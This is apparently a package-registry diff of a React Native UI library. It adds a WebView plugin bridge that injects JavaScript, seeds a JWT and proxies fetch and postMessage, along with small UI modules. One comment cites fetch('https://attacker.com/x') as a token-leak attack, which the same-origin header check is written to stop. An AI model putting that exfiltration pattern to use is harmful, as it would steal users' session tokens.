@ateam-ai-mobile/ui 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,383 @@
1
+ import { useCallback, useEffect, useRef } from 'react';
2
+ import {
3
+ getTenant,
4
+ connectorCall,
5
+ mcpFetch,
6
+ mcpToolCall,
7
+ postCommandResult,
8
+ pluginCommandEmitter,
9
+ } from '@ateam-ai-mobile/core';
10
+
11
+ /**
12
+ * PostMessage bridge between the React Native host and a plugin WebView.
13
+ * Implements the same protocol as PluginHost.jsx in the web frontend.
14
+ *
15
+ * Handles THREE communication paths:
16
+ * 1. fetch("/mcp") — intercepted in bridge JS, proxied through postMessage
17
+ * 2. postMessage mcp-call — direct postMessage from plugin SDK
18
+ * 3. plugin commands — routed from the job stream to the WebView
19
+ */
20
+ export function usePluginBridge(
21
+ pluginId: string,
22
+ connectorId?: string,
23
+ commandBufferRef?: React.MutableRefObject<any[]>,
24
+ wsRef?: { current: WebSocket | null },
25
+ ) {
26
+ // Loosely typed on purpose: react-native-webview's generic class type
27
+ // resolves JSX props to `never` under React 19 typings when used as a
28
+ // useRef parameter. Runtime shape is the WebView instance (postMessage).
29
+ const webViewRef = useRef<any>(null);
30
+
31
+ // Send init message to plugin (mirrors web PluginHost sendInit)
32
+ const sendInit = useCallback(() => {
33
+ const msg = JSON.stringify({
34
+ source: 'adas-host',
35
+ pluginId,
36
+ message: {
37
+ type: 'init',
38
+ payload: {
39
+ tenant: getTenant(),
40
+ connectorId: connectorId || null,
41
+ mcpEndpoint: null,
42
+ slug: null,
43
+ skillSlug: null,
44
+ },
45
+ },
46
+ });
47
+ webViewRef.current?.postMessage(msg);
48
+ }, [pluginId, connectorId]);
49
+
50
+ // Send result back to plugin WebView
51
+ const sendToPlugin = useCallback(
52
+ (type: string, payload: any) => {
53
+ const msg = JSON.stringify({
54
+ source: 'adas-host',
55
+ message: { type, payload },
56
+ });
57
+ webViewRef.current?.postMessage(msg);
58
+ },
59
+ [],
60
+ );
61
+
62
+ // Helper to dispatch a command to the WebView plugin
63
+ const dispatchToWebView = useCallback((cmd: any) => {
64
+ if (cmd.command === '__focus') return; // Focus-only, handled by the host screen
65
+ const msg = JSON.stringify({
66
+ source: 'adas-host',
67
+ pluginId,
68
+ message: {
69
+ type: 'plugin.command',
70
+ payload: {
71
+ command: cmd.command,
72
+ args: cmd.args,
73
+ correlationId: cmd.correlationId,
74
+ },
75
+ },
76
+ });
77
+ webViewRef.current?.postMessage(msg);
78
+ }, [pluginId]);
79
+
80
+ // ── Listen for live plugin commands from the job stream ──
81
+ useEffect(() => {
82
+ const unsub = pluginCommandEmitter.on('plugin-command', (cmd: any) => {
83
+ if (cmd.pluginId !== pluginId) return;
84
+ dispatchToWebView(cmd);
85
+ });
86
+ return unsub;
87
+ }, [pluginId, dispatchToWebView]);
88
+
89
+ // ── Flush buffered commands when the WebView loads ──
90
+ useEffect(() => {
91
+ if (!commandBufferRef) return;
92
+ // Flush after a delay to let the iframe initialize
93
+ const timer = setTimeout(() => {
94
+ const buf = commandBufferRef.current;
95
+ const remaining: any[] = [];
96
+ for (const cmd of buf) {
97
+ if (cmd.pluginId === pluginId) {
98
+ dispatchToWebView(cmd);
99
+ } else {
100
+ remaining.push(cmd);
101
+ }
102
+ }
103
+ commandBufferRef.current = remaining;
104
+ }, 1000);
105
+ return () => clearTimeout(timer);
106
+ }, [pluginId, commandBufferRef, dispatchToWebView]);
107
+
108
+ // Handle messages from plugin WebView
109
+ const handleMessage = useCallback(
110
+ async (event: { nativeEvent: { data: string } }) => {
111
+ let data: any;
112
+ try {
113
+ data = JSON.parse(event.nativeEvent.data);
114
+ } catch {
115
+ return;
116
+ }
117
+
118
+ if (data.source !== 'adas-plugin') return;
119
+
120
+ const action = data.message?.action || data.action;
121
+ const payload = data.message?.payload || data.payload;
122
+ const type = data.message?.type || data.type;
123
+
124
+ // -----------------------------------------------------------------
125
+ // 1. Intercepted fetch("/mcp") — proxy to Core backend
126
+ // -----------------------------------------------------------------
127
+ if (action === 'mcp-fetch' && payload?.requestId) {
128
+ const { requestId, body } = payload;
129
+ try {
130
+ const result = await mcpFetch(body);
131
+ sendToPlugin('mcp-fetch-result', { requestId, result, error: null });
132
+ } catch (err: any) {
133
+ console.warn('[PluginBridge] mcp-fetch ERROR:', err.message);
134
+ sendToPlugin('mcp-fetch-result', { requestId, result: null, error: err.message });
135
+ }
136
+ return;
137
+ }
138
+
139
+ // -----------------------------------------------------------------
140
+ // 2. PostMessage mcp-call — plugin SDK's callTool()
141
+ // a) toolName present (e.g. "cp.fe_api") → JSON-RPC to /mcp
142
+ // b) direct connectorId/tool → /api/connectors/:id/call
143
+ // -----------------------------------------------------------------
144
+ if (action === 'mcp-call' && payload?.requestId) {
145
+ const { requestId, toolName, args: callArgs } = payload;
146
+
147
+ // Path A: JSON-RPC tool call (cp.fe_api, cp.admin_api, etc.)
148
+ if (toolName) {
149
+ try {
150
+ const rpcResponse = await mcpToolCall(toolName, callArgs || {});
151
+ // Unwrap the JSON-RPC envelope — plugin expects { content: [...] }
152
+ const result = rpcResponse?.result ?? rpcResponse;
153
+ sendToPlugin('mcp-result', { requestId, result, error: null });
154
+ } catch (err: any) {
155
+ sendToPlugin('mcp-result', { requestId, result: null, error: err.message });
156
+ }
157
+ return;
158
+ }
159
+
160
+ // Path B: direct connector call (connectorId + tool). The plugin may
161
+ // send connectorId/tool at payload level OR nested in args.
162
+ const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
163
+ const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
164
+ const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
165
+
166
+ if (!cId || !tool) {
167
+ console.error(`[PluginBridge] mcp-call missing params — connectorId: ${cId}, tool: ${tool}`);
168
+ sendToPlugin('mcp-result', { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
169
+ return;
170
+ }
171
+
172
+ try {
173
+ const data = await connectorCall(cId, tool, toolArgs);
174
+ if (data.ok) {
175
+ sendToPlugin('mcp-result', { requestId, result: data.result, error: null });
176
+ } else {
177
+ sendToPlugin('mcp-result', { requestId, result: null, error: data.error || 'MCP call failed' });
178
+ }
179
+ } catch (err: any) {
180
+ sendToPlugin('mcp-result', { requestId, result: null, error: err.message });
181
+ }
182
+ return;
183
+ }
184
+
185
+ // -----------------------------------------------------------------
186
+ // 3. Plugin self-close — return to chat
187
+ // -----------------------------------------------------------------
188
+ if (action === 'close') {
189
+ pluginCommandEmitter.emit('plugin-close', { pluginId });
190
+ return;
191
+ }
192
+
193
+ // -----------------------------------------------------------------
194
+ // 4. Plugin command result — WebSocket (preferred) or HTTP POST
195
+ // -----------------------------------------------------------------
196
+ if (type === 'plugin.command.result' && payload?.correlationId) {
197
+ const ws = wsRef?.current;
198
+ if (ws && ws.readyState === WebSocket.OPEN) {
199
+ try {
200
+ ws.send(JSON.stringify({
201
+ type: 'plugin-command-result',
202
+ correlationId: payload.correlationId,
203
+ result: payload.result,
204
+ error: payload.error,
205
+ }));
206
+ } catch (err: any) {
207
+ console.warn('[PluginBridge] WS send failed, falling back to POST:', err.message);
208
+ await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {});
209
+ }
210
+ } else {
211
+ try {
212
+ await postCommandResult(payload.correlationId, payload.result, payload.error);
213
+ } catch (err: any) {
214
+ console.warn('[PluginBridge] Failed to send command result:', err.message);
215
+ }
216
+ }
217
+ return;
218
+ }
219
+ },
220
+ [sendToPlugin],
221
+ );
222
+
223
+ return {
224
+ webViewRef,
225
+ sendInit,
226
+ handleMessage,
227
+ };
228
+ }
229
+
230
+ /**
231
+ * Build injected JavaScript that:
232
+ * 1. Seeds localStorage with JWT + tenant (plugins read from localStorage)
233
+ * 2. Intercepts fetch("/mcp") and proxies through the postMessage bridge
234
+ * 3. Bridges iframe postMessage API to React Native WebView
235
+ *
236
+ * This makes existing web plugins work on mobile WITHOUT modification.
237
+ */
238
+ export function buildPluginBridgeJS(jwt: string, tenant: string): string {
239
+ return `
240
+ (function() {
241
+ function _dbg(msg) {
242
+ console.log('[PluginBridge] ' + msg);
243
+ }
244
+
245
+ // 1. Seed localStorage. JWT is required by web-shared plugin code
246
+ // (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
247
+ // lives in EmbeddedPluginWebView (originWhitelist +
248
+ // onShouldStartLoadWithRequest) — not here. Never log the token.
249
+ try {
250
+ localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
251
+ localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
252
+ _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
253
+ } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
254
+
255
+ // 2. Intercept ALL fetch calls — proxy /mcp through the RN bridge
256
+ var _origFetch = window.fetch.bind(window);
257
+ var _mcpReqId = 0;
258
+ var _pendingMcp = {};
259
+
260
+ window.fetch = function(url, opts) {
261
+ var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
262
+ var method = (opts && opts.method) || 'GET';
263
+
264
+ _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
265
+
266
+ // Intercept /mcp calls
267
+ if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
268
+ _dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
269
+ return new Promise(function(resolve, reject) {
270
+ var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
271
+ _pendingMcp[requestId] = { resolve: resolve, reject: reject };
272
+ window.ReactNativeWebView.postMessage(JSON.stringify({
273
+ source: 'adas-plugin',
274
+ action: 'mcp-fetch',
275
+ payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
276
+ }));
277
+ setTimeout(function() {
278
+ if (_pendingMcp[requestId]) {
279
+ delete _pendingMcp[requestId];
280
+ _dbg('TIMEOUT mcp-fetch ' + requestId);
281
+ reject(new Error('MCP fetch timeout (30s)'));
282
+ }
283
+ }, 30000);
284
+ });
285
+ }
286
+
287
+ // Inject Authorization header ONLY for same-origin requests. A relative
288
+ // path resolves against window.location.origin; an absolute URL must
289
+ // literally match. This stops a plugin from leaking the JWT to a foreign
290
+ // host via fetch('https://attacker.com/x') or via <base href>.
291
+ var sameOrigin = false;
292
+ try {
293
+ var resolved = new URL(urlStr, window.location.origin);
294
+ sameOrigin = (resolved.origin === window.location.origin);
295
+ } catch (_) { sameOrigin = false; }
296
+ if (sameOrigin) {
297
+ opts = Object.assign({}, opts || {});
298
+ var h = opts.headers;
299
+ if (h instanceof Headers) {
300
+ if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
301
+ } else {
302
+ h = Object.assign({}, h || {});
303
+ if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
304
+ opts.headers = h;
305
+ }
306
+ }
307
+
308
+ return _origFetch(url, opts).then(function(res) {
309
+ _dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
310
+ return res;
311
+ }).catch(function(err) {
312
+ _dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
313
+ throw err;
314
+ });
315
+ };
316
+
317
+ // Handle results from RN host
318
+ function _handleHostMessage(d) {
319
+ if (!d || d.source !== 'adas-host') return;
320
+ var msg = d.message || {};
321
+
322
+ // mcp-fetch-result: response to intercepted fetch("/mcp")
323
+ if (msg.type === 'mcp-fetch-result' && msg.payload) {
324
+ var p = msg.payload;
325
+ var pending = _pendingMcp[p.requestId];
326
+ if (pending) {
327
+ delete _pendingMcp[p.requestId];
328
+ if (p.error) {
329
+ pending.reject(new Error(p.error));
330
+ } else {
331
+ pending.resolve(new Response(JSON.stringify(p.result), {
332
+ status: 200,
333
+ headers: { 'Content-Type': 'application/json' }
334
+ }));
335
+ }
336
+ }
337
+ }
338
+ }
339
+
340
+ // 3. Override window.parent.postMessage (plugins use this in iframes)
341
+ window.parent = window.parent || {};
342
+ window.parent.postMessage = function(data, origin) {
343
+ if (data && data.source === 'adas-plugin') {
344
+ window.ReactNativeWebView.postMessage(JSON.stringify(data));
345
+ }
346
+ };
347
+
348
+ // 4. Also intercept direct window.postMessage
349
+ var origPost = window.postMessage.bind(window);
350
+ window.postMessage = function(data, origin) {
351
+ if (data && data.source === 'adas-plugin') {
352
+ window.ReactNativeWebView.postMessage(JSON.stringify(data));
353
+ }
354
+ origPost(data, origin);
355
+ };
356
+
357
+ // 5. Forward messages from RN host -> plugin
358
+ // iOS: window 'message' event, Android: document 'message' event
359
+ window.addEventListener('message', function(e) {
360
+ try {
361
+ var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
362
+ if (d && d.source === 'adas-host') {
363
+ _handleHostMessage(d);
364
+ if (typeof e.data === 'string') {
365
+ window.dispatchEvent(new MessageEvent('message', { data: d }));
366
+ }
367
+ }
368
+ } catch(_) {}
369
+ });
370
+
371
+ document.addEventListener('message', function(e) {
372
+ try {
373
+ var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
374
+ _handleHostMessage(d);
375
+ window.dispatchEvent(new MessageEvent('message', { data: d }));
376
+ } catch(_) {}
377
+ });
378
+
379
+ _dbg('Bridge JS loaded. Waiting for plugin...');
380
+ true;
381
+ })();
382
+ `;
383
+ }
@@ -0,0 +1,46 @@
1
+ /**
2
+ * Host integration points for @ateam-ai-mobile/ui — same DI pattern as
3
+ * @ateam-ai-mobile/plugin-runtime's host.ts. Everything has a safe default; the host
4
+ * (or @ateam-ai-mobile/expo) wires real implementations at startup.
5
+ */
6
+
7
+ // ── Clipboard ──────────────────────────────────────────────────────────────
8
+
9
+ export interface ClipboardProvider {
10
+ setString(text: string): Promise<void>;
11
+ }
12
+
13
+ let _clipboard: ClipboardProvider | null = null;
14
+
15
+ /** Register a clipboard implementation (e.g. expo-clipboard via @ateam-ai-mobile/expo). */
16
+ export function setClipboardProvider(clipboard: ClipboardProvider | null): void {
17
+ _clipboard = clipboard;
18
+ }
19
+
20
+ export function getClipboard(): ClipboardProvider | null {
21
+ return _clipboard;
22
+ }
23
+
24
+ // ── UI-action navigation ───────────────────────────────────────────────────
25
+ // Chips with a plugin target need to open the host's plugin screen. The SDK
26
+ // never imports a router — the HOST owns navigation and registers a handler
27
+ // (e.g. Expo Router: router.push({ pathname: '/plugin/[id]', params })).
28
+
29
+ export interface UIActionRoute {
30
+ /** Full plugin id, e.g. "mcp:connector:plugin" or "platform:<name>". */
31
+ pluginId: string;
32
+ /** Query params the plugin reads on load (focus, tool, args, verb). */
33
+ params: Record<string, string>;
34
+ }
35
+
36
+ type UIActionNavigator = (route: UIActionRoute) => void;
37
+
38
+ let _navigator: UIActionNavigator | null = null;
39
+
40
+ export function setUIActionNavigator(navigate: UIActionNavigator | null): void {
41
+ _navigator = navigate;
42
+ }
43
+
44
+ export function getUIActionNavigator(): UIActionNavigator | null {
45
+ return _navigator;
46
+ }
@@ -0,0 +1,18 @@
1
+ /**
2
+ * Lightbox store — any component can open a fullscreen image viewer
3
+ * by calling `useLightboxStore.getState().show(uri)`. The lightbox is
4
+ * mounted once at the app root.
5
+ */
6
+ import { create } from 'zustand';
7
+
8
+ interface LightboxState {
9
+ uri: string | null;
10
+ show: (uri: string) => void;
11
+ hide: () => void;
12
+ }
13
+
14
+ export const useLightboxStore = create<LightboxState>((set) => ({
15
+ uri: null,
16
+ show: (uri) => set({ uri }),
17
+ hide: () => set({ uri: null }),
18
+ }));
@@ -0,0 +1,173 @@
1
+ // src/components/widgets/WidgetWebView.tsx
2
+ //
3
+ // Fullscreen modal that renders an ACS widget bundle in a WebView.
4
+ //
5
+ // The bundleUrl on each /surface item is a signed URL minted by the backend
6
+ // proxy (apps/backend/routes/acsProxy.js → signItemBundleUrl). The URL
7
+ // self-authenticates — the bundle endpoint verifies sig/exp/tenant/actor on
8
+ // the server side — so the WebView doesn't need to pass auth headers.
9
+ //
10
+ // Relative URLs (e.g. `/api/acs/artifacts/.../bundle/1?sig=…`) are prepended
11
+ // with the current core URL from configStore.
12
+ //
13
+ // Strict CSP is set on the response by the bundle endpoint. We additionally
14
+ // disable JS injection paths we don't need (no onMessage handlers wired,
15
+ // no injectedJavaScriptBeforeContentLoaded).
16
+
17
+ import { useMemo, useState } from 'react';
18
+ import {
19
+ Modal,
20
+ View,
21
+ Text,
22
+ Pressable,
23
+ StyleSheet,
24
+ ActivityIndicator,
25
+ Platform,
26
+ } from 'react-native';
27
+ import { WebView } from 'react-native-webview';
28
+ import { ada } from '@ateam-ai-mobile/core';
29
+ import { getCoreApiUrl } from '@ateam-ai-mobile/core';
30
+
31
+ const fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;
32
+
33
+ interface Props {
34
+ visible: boolean;
35
+ /** Display title shown in the top bar. */
36
+ title?: string;
37
+ /** Signed bundle URL from a /surface item. Relative or absolute. */
38
+ bundleUrl?: string;
39
+ onClose: () => void;
40
+ }
41
+
42
+ export default function WidgetWebView({ visible, title, bundleUrl, onClose }: Props) {
43
+ const [loading, setLoading] = useState(true);
44
+ const [error, setError] = useState<string | null>(null);
45
+
46
+ // Absolute URL — prepend the resolved core if backend returned a relative path.
47
+ const uri = useMemo(() => {
48
+ if (!bundleUrl) return null;
49
+ if (/^https?:\/\//i.test(bundleUrl)) return bundleUrl;
50
+ return `${getCoreApiUrl()}${bundleUrl}`;
51
+ }, [bundleUrl]);
52
+
53
+ return (
54
+ <Modal
55
+ visible={visible}
56
+ animationType="slide"
57
+ presentationStyle="pageSheet"
58
+ onRequestClose={onClose}
59
+ >
60
+ <View style={styles.root}>
61
+ <View style={styles.bar}>
62
+ <Pressable onPress={onClose} hitSlop={12} style={styles.closeBtn}>
63
+ <Text style={styles.closeIcon}>{'✕'}</Text>
64
+ </Pressable>
65
+ <Text style={styles.title} numberOfLines={1}>{title || 'Widget'}</Text>
66
+ {/* Spacer matches closeBtn width so the title stays centered */}
67
+ <View style={styles.closeBtn} />
68
+ </View>
69
+ {!uri ? (
70
+ <View style={styles.errorWrap}>
71
+ <Text style={styles.errorText}>No bundle available for this widget.</Text>
72
+ </View>
73
+ ) : error ? (
74
+ <View style={styles.errorWrap}>
75
+ <Text style={styles.errorText}>Couldn't load widget</Text>
76
+ <Text style={styles.errorSub}>{error}</Text>
77
+ </View>
78
+ ) : (
79
+ <>
80
+ <WebView
81
+ source={{ uri }}
82
+ style={styles.web}
83
+ onLoadStart={() => { setLoading(true); setError(null); }}
84
+ onLoadEnd={() => setLoading(false)}
85
+ onError={(e) => {
86
+ setLoading(false);
87
+ setError(e.nativeEvent.description || 'Unknown error');
88
+ }}
89
+ onHttpError={(e) => {
90
+ setLoading(false);
91
+ setError(`HTTP ${e.nativeEvent.statusCode}`);
92
+ }}
93
+ // The bundle is the only thing this WebView should render.
94
+ // Block navigation away from it (prevents accidental browse
95
+ // out of the widget sandbox into arbitrary URLs).
96
+ originWhitelist={['https://*']}
97
+ setSupportMultipleWindows={false}
98
+ />
99
+ {loading && (
100
+ <View pointerEvents="none" style={styles.spinner}>
101
+ <ActivityIndicator color={ada.orange} />
102
+ </View>
103
+ )}
104
+ </>
105
+ )}
106
+ </View>
107
+ </Modal>
108
+ );
109
+ }
110
+
111
+ const styles = StyleSheet.create({
112
+ root: {
113
+ flex: 1,
114
+ backgroundColor: ada.paper,
115
+ },
116
+ bar: {
117
+ flexDirection: 'row',
118
+ alignItems: 'center',
119
+ paddingHorizontal: 14,
120
+ paddingVertical: 12,
121
+ borderBottomWidth: 1,
122
+ borderBottomColor: ada.border,
123
+ backgroundColor: ada.paperSoft,
124
+ },
125
+ closeBtn: {
126
+ width: 32,
127
+ height: 32,
128
+ alignItems: 'center',
129
+ justifyContent: 'center',
130
+ },
131
+ closeIcon: {
132
+ fontSize: 18,
133
+ color: ada.ink,
134
+ fontWeight: '500',
135
+ },
136
+ title: {
137
+ flex: 1,
138
+ textAlign: 'center',
139
+ fontSize: 16,
140
+ fontWeight: '600',
141
+ color: ada.ink,
142
+ fontFamily: fontFam,
143
+ letterSpacing: -0.2,
144
+ },
145
+ web: {
146
+ flex: 1,
147
+ backgroundColor: ada.paper,
148
+ },
149
+ spinner: {
150
+ position: 'absolute',
151
+ top: 80,
152
+ left: 0,
153
+ right: 0,
154
+ alignItems: 'center',
155
+ },
156
+ errorWrap: {
157
+ flex: 1,
158
+ alignItems: 'center',
159
+ justifyContent: 'center',
160
+ paddingHorizontal: 24,
161
+ },
162
+ errorText: {
163
+ fontSize: 15,
164
+ color: ada.ink,
165
+ fontWeight: '600',
166
+ marginBottom: 6,
167
+ },
168
+ errorSub: {
169
+ fontSize: 13,
170
+ color: ada.inkMuted,
171
+ textAlign: 'center',
172
+ },
173
+ });